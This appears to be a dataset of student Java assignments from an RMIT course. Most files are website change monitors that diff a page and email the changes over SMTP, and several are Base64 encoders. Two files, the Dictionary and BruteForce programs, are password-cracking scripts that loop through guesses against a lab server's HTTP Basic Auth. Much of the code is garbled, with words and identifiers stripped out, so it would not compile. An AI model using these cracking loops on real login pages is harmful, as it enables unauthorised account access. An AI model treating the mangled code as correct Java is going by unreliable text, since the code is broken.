'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' }; + + + + + public static String encode ( String s ) + + { + return encode ( s.getBytes ( ) ); + } + + public static String encode ( byte [ ] octetString ) + + { + int bits24; + int bits6; + + char [ ] out + = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; + + int outIndex = 0; + int i = 0; + + while ( ( i + 3 ) <= octetString.length ) + { + + bits24 = ( octetString [ i++ ] & 0xFF ) << 16; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + + +} + + +" +028.java," +import java.io.*; +import java.net.Socket; +import java.util.*; + +public class Email +{ + private String hello; + private String mailFrom=""""; + private String mailTo=""""; + private String mailData=""""; + + private String subject=""""; + private String content=""""; + private String follows=""""; + private String changeContent=""""; + private String stop=""""; + private String end=""""; + private String line=""""; + private InputStream is; + private BufferedReader bf; + private OutputStream os; + private PrintWriter pw; + public Email(Vector change) throws Exception + { + hello= ""HELO mail.rmit.edu.""; + mailFrom = ""MAIL FROM: @cs.rmit.edu.""; + mailTo = ""RCPT : @cs.rmit.edu.""; + mailData = ""DATA""; + subject=""Subject: Some changes occur""; + content="" is some changes the : http://www.cs.rmit.edu./students/""; + follows=""The changes as follows:""; + for(int i=0;i diff.html""}; + + + Process p = Runtime.getRuntime().exec(""mkdir predir""); + p.waitFor(); + Process p1 = Runtime.getRuntime().exec(""mkdir postdir""); + p1.waitFor(); + + + p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); + p1.waitFor(); + + Process q2 = Runtime.getRuntime().exec(s2); + q2.waitFor(); + Process q3 = Runtime.getRuntime().exec(s3); + q2.waitFor(); + + + Thread.sleep(86400000); + + p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); + p3.waitFor(); + + Process q4 = Runtime.getRuntime().exec(s4); + q4.waitFor(); + Process q5 = Runtime.getRuntime().exec(s5); + q5.waitFor(); + + try + { + String str; + p4 = Runtime.getRuntime().exec(s6); + DataInputStream inp1 = new DataInputStream(p4.getInputStream()); + p4.waitFor(); + + System.out.println(""The WatchDog - Returns 0 if change else 1""); + System.out.println(""Value :"" + p4.exitValue()); + try + { + while ((str = inp1.readLine()) != null) + { + System.out.println(str); + } + } + catch (IOException e) + { + System.exit(0); + } + + } + catch(FileNotFoundException e ) + { + e.printStackTrace(); + } + + BufferedReader in = new BufferedReader(new FileReader(""change.html"")); + + if (in.readLine() != null) + { + + try + { + String str1; + p5 = Runtime.getRuntime().exec(s1); + DataInputStream inp2 = new DataInputStream(p5.getInputStream()); + p5.waitFor(); + try + { + while ((str1 = inp2.readLine()) != null) + { + System.out.println(str1); + } + } + catch (IOException e1) + { + System.exit(0); + } + + } + catch(FileNotFoundException exp) + { + exp.printStackTrace(); + } + + } + } + } +} + +" +076.java,"import java.io.*; +import java.net.*; + + +public class MyAuthenticator extends Authenticator { + + String username; + String password; + protected PasswordAuthentication getPasswordAuthentication() { + + String promptString = getRequestingPrompt(); + String hostname = getRequestingHost(); + InetAddress ipaddr = getRequestingSite(); + int port = getRequestingPort(); + + + return new PasswordAuthentication(username, + password.toCharArray()); + } + public MyAuthenticator(String user, String pass) + { + username = user; + password = pass; + } +} + +" +250.java," + + + + + + +class C { + + + + private static byte[] cvtTable = { + (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', + (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', + (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', + (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', + (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', + (byte)'Z', + (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', + (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', + (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', + (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', + (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', + (byte)'z', + (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', + (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', + (byte)'+', (byte)'/' + }; + + + static String encode(String name, + String passwd) { + byte input[] = (name + "":"" + passwd).getBytes(); + byte[] output = new byte[((input.length / 3) + 1) * 4]; + int ridx = 0; + int chunk = 0; + + + for (int i = 0; i < input.length; i += 3) { + int left = input.length - i; + + + if (left > 2) { + chunk = (input[i] << 16)| + (input[i + 1] << 8) | + input[i + 2]; + output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; + output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; + output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; + output[ridx++] = cvtTable[(chunk&0x3F)]; + } else if (left == 2) { + + chunk = (input[i] << 16) | + (input[i + 1] << 8); + output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; + output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; + output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; + output[ridx++] = '='; + } else { + + chunk = input[i] << 16; + output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; + output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; + output[ridx++] = '='; + output[ridx++] = '='; + } + } + return new String(output); + } +}" +055.java," +import java.net.*; +import java.io.*; +import java.misc.*; +import java.io.BufferedInputStream; +import java.awt.*; +import java.awt.event.*; + +public class WriteFile +{ + String url; + String fileName; + int flag; + private PrintWriter out2; + private TextArea response; + int status; + int mailFlag; + + public WriteFile (String newUrl, String newFileName, int newFlag) + { + url = newUrl; + fileName = newFileName; + PrintWriter printW = null; + FileOutputStream fout; + flag = newFlag; + status = 0; + mailFlag = 0; + + + File file = new File(fileName); + file.delete(); + + try + { + fout = new FileOutputStream(fileName,true); + printW = new PrintWriter(fout); + } + catch (IOException ioe) + { + System.out.println(""IO Error : "" + ioe); + } + + + URL u; + URLConnection uc; + + try + { + u = new URL(url); + try + { + + uc = u.openConnection(); + + InputStream content = (InputStream)uc.getInputStream(); + BufferedReader in = new BufferedReader (new InputStreamReader(content)); + + String line; + + + while ((line = in.readLine()) != null) + { + + printW.println(line); + + } + } + catch (Exception e) + { + System.out.println(""Error: "" + e); + } + } + catch (MalformedURLException e) + { + System.out.println(url + "" is not a parseable URL""); + } + + printW.print(); + + + if(flag == 1) + { + + compareDiff(""@.rmit.edu.""); + } + } + + String loadStream(InputStream in) throws IOException + { + int ptr = 0; + in = new BufferedInputStream(in); + StringBuffer buffer = new StringBuffer(); + + while( (ptr = in.next()) != -1 ) + { + status++; + + buffer.append((char)ptr); + mailFlag++; + + } + return buffer.toString(); + } + + public void compareDiff(String emailAdd) + { + String cmds = ""diff test1.txt test2.txt""; + PrintWriter printW2 = null; + FileOutputStream fout2; + + File file = new File(""diff.txt""); + file.delete(); + String ; + + try + { + fout2 = new FileOutputStream(""diff.txt"",true); + printW2 = new PrintWriter(fout2); + } + catch (IOException ioe) + { + System.out.println(""IO Error : "" + ioe); + } + + try + { + + + + Process ps = Runtime.getRuntime().exec(cmds); + PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream())); + + printW2.println(loadStream(ps.getInputStream())+""\n""); + printW2.print(); + + + if(mailFlag != 0) + { + FileReader fRead2; + BufferedReader buf2; + + try + { + fRead2 = new FileReader(""diff.txt""); + buf2 = new BufferedReader(fRead2); + String line2; + int i=0; + + line = new String("" some changes the web as followed: \n""); + + Socket s = new Socket(""wombat.cs.rmit.edu."", 25); + out2 = new PrintWriter(s.getOutputStream()); + + send(null); + send(""HELO cs.rmit.edu.""); + send(""MAIL FROM: @.rmit.edu.""); + + send(""RCPT : @.rmit.edu.""); + send(""DATA""); + + + while( (line2 = buf2.readLine()) != null) + { + + line= new String(""""+line2+""\n""); + + + + } + + + + out2.print(); + send("".""); + s.print(); + } + catch(FileNotFoundException e) + { + System.out.println(""File not found""); + } + catch(IOException ioe) + { + System.out.println(""IO Error "" + ioe); + } + } + + System.out.println(loadStream(ps.getInputStream())); + + System.err.print(loadStream(ps.getErrorStream())); + } + catch(IOException ioe) + { + ioe.printStackTrace(); + } + } + + public void send(String s) throws IOException + { + response = new TextArea(); + if(s != null) + { + response.append(s + ""\n""); + out2.println(s); + out2.flush(); + } + } + + public int getStatus() + { + return status; + } +}" +204.java," +import java.io.*; +import java.net.*; + +public class Copier +{ + private URL target; + + public Copier( String fileName) + { + try + { + String line; + BufferedReader ; + BufferedWriter bout; + target = new URL( ""http://www.cs.rmit.edu./students""); + InputStream hm = target.openStream(); + HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection(); + bf = new BufferedReader( new InputStreamReader( target.openStream())); + bout = new BufferedWriter(new FileWriter(fileName)); + while((line = bf.readLine()) != null) + { + bout.write( line+""\n""); + } + + bout.print(); + } + catch( Exception e) + { + System.out.println(""Something wrong! ""+e); + System.exit(0); + } + } + public static void main (String[] args) + { + Copier c = new Copier(""response.html""); + } +} + + + + + + + + + + +" +254.java," + +import java.io.*; +import java.net.*; +import java.*; +import java.String; +import java.util.*; + + public class WatchDogThread extends Thread { + private int dayTime; + private Vector webPageLines; + private Vector originalWebPageLines; + private Vector addLines; + private Vector deductLines; + private Vector v; + private Runtime run; + private String str; + private String responseLine; + private String host; + private int lineNo; + private Process process; + private Socket socket; + private BufferedReader in; + private BufferedReader pageLine; + private PrintWriter out; + private boolean checked = false; + private boolean changed = false; + private static String commandLine=""curl http://www.cs.rmit.edu./students/ -i""; + private String[] sendString = { + ""HELO mail.nowhere."", + ""MAIL FROM: @cs.rmit.edu."", + ""RCPT : @cs.rmit.edu."", + ""DATA"", + ""Subject: webpage changed!"", + ""."", + ""QUIT""}; + + public WatchDogThread(String str) + { + super(str); + dayTime = 24*60*60*1000; + webPageLines = new Vector(); + originalWebPageLines = new Vector(); + addLines = new Vector(); + deductLines = new Vector(); + v = new Vector(); + } + + public void run() + { + run = Runtime.getRuntime(); + host = ""mail.cs.rmit.edu.""; + while(true) { + try{ + if(!loadPage()) + break; + + if(checked) { + compare(); + + if(addLines.size() != 0 || deductLines.size() != 0) + { + changed = true; + } + else if(v.size() != 0) + { + changed = true; + addLines.removeAllElements(); + deductLines.removeAllElements(); + } + else + { + changed = false; + addLines.removeAllElements(); + deductLines.removeAllElements(); + } + if(changed) { + socket = new Socket(host,25); + in = new + BufferedReader(new InputStreamReader( + socket.getInputStream())); + out = new PrintWriter(new + OutputStreamWriter( + socket.getOutputStream())); + + out.println(sendString[0]); + out.flush(); + + while((responseLine = in.readLine())!=null){ + if(responseLine.indexOf(""pleased meet "") != -1) break; + } + + if(responseLine.indexOf(""pleased meet "") != -1) { + + out.println(sendString[1]); + out.flush(); + responseLine = in.readLine(); + + if(responseLine.substring(responseLine.length()-9,responseLine.length()).equals(""Sender ok"")) { + out.println(sendString[2]); + out.flush(); + responseLine = in.readLine(); + + if(responseLine.substring(responseLine.length()-12,responseLine.length()).equals(""Recipient ok"")) { + out.println(sendString[3]); + out.flush(); + responseLine = in.readLine(); + + if(responseLine.substring(0,14).equals(""354 Enter mail"")) { + + out.println(sendString[4]); + out.flush(); + + + lineNo = 0; + if(addLines.size()!=0) + { + out.println(""The following lines the added new lines:""); + out.flush(); + while(addLines.size()>lineNo) + { + out.println(String.valueOf(lineNo+1)+"": ""+(String)(addLines.elementAt(lineNo++))); + out.flush(); + } + out.println(""\n--- --- --- --- --- --- ---\n""); + out.flush(); + } + lineNo = 0; + if(deductLines.size()!=0) + { + out.println(""The following lines the deducted lines:""); + out.flush(); + while(deductLines.size()>lineNo) + { + out.println(String.valueOf(lineNo+1)+"": ""+ (String)(deductLines.elementAt(lineNo++))); + out.flush(); + } + out.println(""\n--- --- --- --- --- --- ---\n""); + out.flush(); + } + lineNo = 0; + if(v.size() != 0) + { + out.println(""The following lines the added lines that the same""); + out.flush(); + out.println("" as some lines in the original webpage:""); + out.flush(); + while(v.size()>lineNo) + { + out.println(String.valueOf(lineNo+1)+"": ""+ (String)(v.elementAt(lineNo++))); + out.flush(); + } + out.println(""\n--- --- --- --- --- --- ---\n""); + out.flush(); + } + + + + out.println(sendString[5]); + out.flush(); + responseLine = in.readLine(); + + if(responseLine.substring(responseLine.length()-29,responseLine.length()).equals(""Message accepted for delivery"")) { + + out.println(sendString[6]); + out.flush(); + } + } + } + } + } + socket.close(); + } + update(changed); + } + else { + checked = true; + update(changed); + } + } + catch (Exception e) { + System.out.println(e.getMessage()); + break; + } + + try { + sleep(dayTime); + } + catch (InterruptedException e ) { + System.out.println(e.getMessage()); + break; + } + } + } + + + public void compare() + { + int n = 0; + int j = 0; + try { + v.removeAllElements(); + while(n < webPageLines.size()) { + for(j = 0; j < originalWebPageLines.size(); j++) + { + if(((String)(webPageLines.elementAt(n))) + .equals((String)(originalWebPageLines.elementAt(j)))) + { + v.addElement((String)(webPageLines.elementAt(n))); + break; + } + } + if(j == originalWebPageLines.size()) + { + addLines.addElement((String)(webPageLines.elementAt(n))); + } + n++; + } + + n = 0; + while(n < originalWebPageLines.size()) { + for(j = 0; j < webPageLines.size(); j++) + { + if(((String)(originalWebPageLines.elementAt(n))) + .equals((String)(webPageLines.elementAt(j)))) + { + v.remove((String)(originalWebPageLines.elementAt(n))); + break; + } + } + if(j == webPageLines.size()) + { + deductLines.addElement((String)(originalWebPageLines.elementAt(n))); + } + n++; + } + } + catch (Exception e) { + System.out.println(e.getMessage()); + } +} + + + public void update(boolean updatePageLines) + { + try { + addLines.removeAllElements(); + deductLines.removeAllElements(); + v.removeAllElements(); + if(updatePageLines) + { + originalWebPageLines.removeAllElements(); + for(int i=0; i< webPageLines.size(); i++) + { + originalWebPageLines.addElement((String)(webPageLines.elementAt(i))); + } + webPageLines.removeAllElements(); + } + else webPageLines.removeAllElements(); + changed = false; + } + catch (Exception e) { + System.out.println(e.getMessage()); + } +} + + + public boolean loadPage() + { + try { + process = run.exec(commandLine); + pageLine = new + BufferedReader(new InputStreamReader(process.getInputStream())); + str = pageLine.readLine(); + if(str.equals(""HTTP/1.1 200 OK"")) { + { + str = pageLine.readLine(); + if(str.indexOf(""<"") != -1) break; + }while(true); + if(!checked) originalWebPageLines.addElement(str); + else webPageLines.addElement(str); + { + str = pageLine.readLine(); + if(str != null) { + if(str.length() != 0 && !(str.equals(""""))) { + if(!checked) originalWebPageLines.addElement(str); + else webPageLines.addElement(str); + } + } + else break; + } while(true); + return true; + } + else return false; + } + catch (Exception e) { + System.out.println(e.getMessage()); + } + return true; + } +} + +" +243.java,"import java.net.*; +import java.io.*; + + public class Dictionary { + int attempts = 0; + URLConnection conn = null; + + public static void main (String args[]){ + + Dictionary a = new Dictionary(); + a.attack(args); + } + + public void attack(String args[]) { + try { + String login = new String(""""); + String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); + String passwd = new String(); + + + passwd = getPasswd(); + BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); + + String line; + while ((line = in.readLine()) != null) { + System.out.println(line); + } + System.out.println(""Password Cracked Successfully!!!""); + System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); + } + catch (IOException e) { + + String r = new String(e.getMessage()); + if ( r != null) + { + System.out.println(""Message :"" +r); + Dictionary a = new Dictionary(); + a.attack(args); + } + else + { + System.out.println(""Trying again""); + Dictionary a = new Dictionary(); + a.attack(args); + } + } + } + public String getPasswd() + { + + int i=0;int j=0; + attempts++; + int count =0; + System.out.println(""Passing dictionary word and waiting for URL reply....... ""); + String currentword = """"; + String se = """"; + try{ + FileInputStream reader = new FileInputStream (""words""); + DataInputStream in = new DataInputStream(reader); + while (in.available() !=0) +{ + currentword = in.readLine(); + count++; + + + } + } + catch( IOException e){} + + return currentword; + + } + + + + public InputStream openURLForInput (URL url, String uname, String pword) + throws IOException { + conn = url.openConnection(); + conn.setDoInput (true); + conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); + conn.connect (); + return conn.getInputStream(); + } + + + public String userNamePasswordBase64(String username, String password) { + return "" "" + base64Encode (username + "":"" + password); + } + + private final static char base64Array [] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' + }; + + private static String base64Encode (String string) { + String encodedString = """"; + byte bytes [] = string.getBytes (); + int i = 0; + int pad = 0; + while (i < bytes.length) { + byte b1 = bytes [i++]; + byte b2; + byte b3; + if (i >= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return encodedString; + } + } + +" +169.java,"package java.httputils; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.io.OutputStream; + + +public class WatchDog +{ + protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); + protected int interval = 24; + protected String URL = ""http://www.cs.rmit.edu./students/""; + protected String fileName = ""WatchDogContent.html""; + protected String command = ""./alert_mail.sh""; + protected String savedContent; + protected String retrievedContent; + + + public WatchDog() + { + super(); + } + + + public void run() throws Exception + { + HttpRequestClient client = null; + + + System.out.println(getClass().getName() + + ""Retrieving baseline copy of: "" + getURL()); + client = new HttpRequestClient(getURL()); + retrievedContent = client.getContent().toString(); + + System.out.println(getClass().getName() + + ""Writing baseline content : "" + getFileName()); + writeFile(); + + while (true) + { + + System.out.println(getClass().getName() + + "" Sleeping for hours: "" + getInterval()); + Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval()); + + + System.out.println(getClass().getName() + + "" Retrieving: "" + getURL()); + + client = new HttpRequestClient(getURL()); + retrievedContent = client.getContent().toString(); + + + System.out.println(getClass().getName() + + "" saved copy: "" + getURL()); + savedContent = readFile(); + + + System.out.println(getClass().getName() + + "" Comparing saved and retrieved. ""); + if (!savedContent.equals(retrievedContent)) + { + + System.out.println(getClass().getName() + + "" Difference found. ""); + + writeTempFile(); + runCommand(); + } + + + writeFile(); + } + } + + + + public String runCommand() + { + String cmd = getCommand() + "" \"""" + getURL() + ""\""""; + try + { + Runtime r = Runtime.getRuntime(); + System.out.println(getClass().getName() + + "" Executing: "" + cmd); + + Process proc = r.exec(cmd); + } + catch (Exception e) + { + try + { + Runtime r = Runtime.getRuntime(); + Process proc = r.exec(cmd); + } + catch (Exception ex) + { + System.out.println(getClass().getName() + + "" Could not run :"" + + getCommand() + + "" because : "" + + ex.getMessage()); + } + } + + return ""Executed successfully""; + } + + + protected String readFile() throws FileNotFoundException + { + BufferedInputStream input = null; + FileInputStream file = null; + StringBuffer content = new StringBuffer(); + try + { + file = new FileInputStream(getFileName()); + + input = new BufferedInputStream(file); + + } + catch (FileNotFoundException x) + { + System.err.println(""File not found: "" + getFileName()); + throw x; + } + + try + { + int ch; + while ((ch = input.get()) != -1) + { + content.append((char)ch); + } + } + catch (IOException x) + { + x.printStackTrace(); + } + finally + { + if (input != null) + { + try + { + input.get(); + file.get(); + } + catch (IOException e) + { + } + } + } + return content.toString(); + } + + + protected void writeFile() throws Exception + { + OutputStream os = null; + try + { + os = new BufferedOutputStream( + new FileOutputStream(getFileName(), false)); + os.write(getRetrievedContent().getBytes()); + } + catch (FileNotFoundException e) + { + e.printStackTrace(); + throw e; + } + catch (IOException e) + { + e.printStackTrace(); + throw e; + } + finally + { + if (os != null) + { + try + { + os.close(); + } + catch (IOException e) + { + } + } + } + } + + + protected void writeTempFile() throws Exception + { + OutputStream os = null; + try + { + os = new BufferedOutputStream( + new FileOutputStream("".html"", false)); + os.write(getRetrievedContent().getBytes()); + } + catch (FileNotFoundException e) + { + e.printStackTrace(); + throw e; + } + catch (IOException e) + { + e.printStackTrace(); + throw e; + } + finally + { + if (os != null) + { + try + { + os.close(); + } + catch (IOException e) + { + } + } + } + } + + public static void main(String[] args) + { + WatchDog watchDog = new WatchDog(); + + if (args.length < 3) + { + watchDog.printUsage(); + } + + + System.out.println(watchDog.getClass().getName() + + "": Initialising with "" + + args[0] + "" \n"" + + args[1] + "" \n"" + + args[2] + "" \n""); + watchDog.setURL(args[0]); + watchDog.setInterval(Integer.parseInt(args[1])); + watchDog.setCommand(args[2]); + + + try + { + System.out.println(watchDog.getClass().getName() + "": Invoking the run method.""); + watchDog.run(); + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + public String printUsage() + { + StringBuffer s = new StringBuffer(); + + s.append(""** WatchDog proper usage **\n\n""); + s.append( + this.getClass().getName() + + "" \n\n""); + + return s.toString(); + } + + + public String getCommand() + { + return command; + } + + + public String getFileName() + { + return fileName; + } + + + public int getInterval() + { + return interval; + } + + + public String getURL() + { + return URL; + } + + + public void setCommand(String string) + { + command = string; + } + + + public void setFileName(String string) + { + fileName = string; + } + + + public void setInterval(int i) + { + interval = i; + } + + + public void setURL(String string) + { + URL = string; + } + + + public String getRetrievedContent() + { + return retrievedContent; + } + + + public String getSavedContent() + { + return savedContent; + } + + + public void setRetrievedContent(String string) + { + retrievedContent = string; + } + + + public void setSavedContent(String string) + { + savedContent = string; + } + +} +" +019.java," + + + +import java.util.*; +import java.util.Timer; +import java.util.TimerTask; +import javax.swing.*; + +public class WatchDog +{ + public static void main ( String args[] ) + { + String input = JOptionPane.showInputDialog(""Enter time range(seconds)""); + if( input == null ) + System.exit(0); + + int range = Integer.parseInt( input ); + + Timer timer = new Timer(); + WatchDogTask watchDogTask = new WatchDogTask(); + timer.schedule( watchDogTask, new Date(), range*1000 ); + } +} + +" +241.java,"import java.io.*; +import java.net.*; +import java.util.*; +import java.*; + + +public class WatchDog { + + +public static final int interval = 79200000; + +public static void main(String[] args) { + WatchDog wd = new WatchDog(); + Thread thread = new Thread(); + URLConnection conn = null; + DataInputStream data = null; + DataInputStream in = null; + String line; + String lines; + String buffer = new String(); + String buffers = new String(); + String url = new String(""http://www.cs.rmit.edu./students/""); + boolean change; + try{ + URL myurl = new URL(url); + conn = myurl.openConnection(); + conn.connect(); + Object content = null; + + System.out.println(""Connection opened......""); + System.out.println(""Retrieving data from URL""); + data = new DataInputStream(new BufferedInputStream(conn.getInputStream())); + System.out.println("" data from the URL......""); + content = myurl.getContent(); + BufferedReader reader = null; + reader = new BufferedReader(new InputStreamReader((InputStream) content)); + + + while ((line = data.readLine()) != null) + + { + System.out.println(line); + FileWriter outnew = new FileWriter(""watchdogresult.html""); + outnew.write(line); + } + System.out.println(""Waiting for any change....""); + thread.sleep(79200000); + conn = myurl.openConnection(); + conn.connect(); + in = new DataInputStream(new BufferedInputStream(conn.getInputStream())); + while ((lines = in.readLine()) != null) + { + + FileWriter newf = new FileWriter(""watchdogresult.tmp""); + newf.write(buffers); + } + change = true; + if(change); + else{ + change = false; + + wd.mail(); + } +} + catch (InterruptedException e) {} + catch (IOException e) { + e.printStackTrace(); + String r = new String(e.getMessage()); + if ( r != null) + { + System.out.println(""Message :"" +r); + } + else + System.out.println(""Other problems""); + } + } + + +public void mail(){ + + try { + + String from = new String(""Watchdog Reporter""); + String email = new String(""@cs.rmit.edu.""); + String subject = new String("" is a change in ""); + + + URL u = new URL(""mailto:"" + email); + URLConnection c = u.openConnection(); + c.setDoInput(false); + c.setDoOutput(true); + System.out.println(""Connecting...""); + System.out.flush(); + c.connect(); + PrintWriter out = + new PrintWriter(new OutputStreamWriter(c.getOutputStream())); + + + out.println(""From: \"""" + from + ""\"" <"" + + System.getProperty(""user.name"") + ""@"" + + InetAddress.getLocalHost().getHostName() + "">""); + out.println("": "" ); + out.println(""Subject: "" + subject); + out.println(); + + + String line = new String(""Watchdog observe that is a change in the web .""); + out.close(); + System.out.println(""Message sent.""); + System.out.flush(); + } + catch (Exception e) { + System.err.println(e); + } + + } + +} + +" +153.java,"import java.io.*; +import java.net.*; + +public class BruteForce { + public static void main(String[] args) { + BruteForce brute=new BruteForce(); + brute.start(); + + + } + + +public void start() { +char passwd[]= new char[3]; +String password; +String username=""""; +String auth_data; +String server_res_code; +String required_server_res_code=""200""; +int cntr=0; + +try { + +URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); +URLConnection conn=null; + + + for (int i=65;i<=122;i++) { + if(i==91) { i=i+6; } + passwd[0]= (char) i; + + for (int j=65;j<=122;j++) { + if(j==91) { j=j+6; } + passwd[1]=(char) j; + + for (int k=65;k<=122;k++) { + if(k==91) { k=k+6; } + passwd[2]=(char) k; + password=new String(passwd); + password=password.trim(); + auth_data=null; + auth_data=username + "":"" + password; + auth_data=auth_data.trim(); + auth_data=getBasicAuthData(auth_data); + auth_data=auth_data.trim(); + conn=url.openConnection(); + conn.setDoInput (true); + conn.setDoOutput(true); + conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); + conn.setRequestProperty (""Authorization"", auth_data); + server_res_code=conn.getHeaderField(0); + server_res_code=server_res_code.substring(9,12); + server_res_code.trim(); + cntr++; + System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); + if( server_res_code.compareTo(required_server_res_code)==0 ) + {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); + i=j=k=123;} + } + + } + + } + } + catch (Exception e) { + System.err.print(e); + } + } + +public String getBasicAuthData (String getauthdata) { + +char base64Array [] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' } ; + + String encodedString = """"; + byte bytes [] = getauthdata.getBytes (); + int i = 0; + int pad = 0; + while (i < bytes.length) { + byte b1 = bytes [i++]; + byte b2; + byte b3; + if (i >= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return "" "" + encodedString; + } +}" +200.java," +import java.io.*; +import java.util.*; + +public class Dog +{ + public Dog() + { + Copier cop; + String[] myFiles; + File myDir = new File("".""); + myFiles = myDir.list(); + int flag = 0; + int j; + for(int i = 0;i < myFiles.length; i++) + { + j = myFiles[i].compareTo(""oldCopy.html""); + if( j == 0) + { + System.out.println(myFiles[i]+"" ""+j); + flag = 1; + break; + } + } + + if( flag == 0) 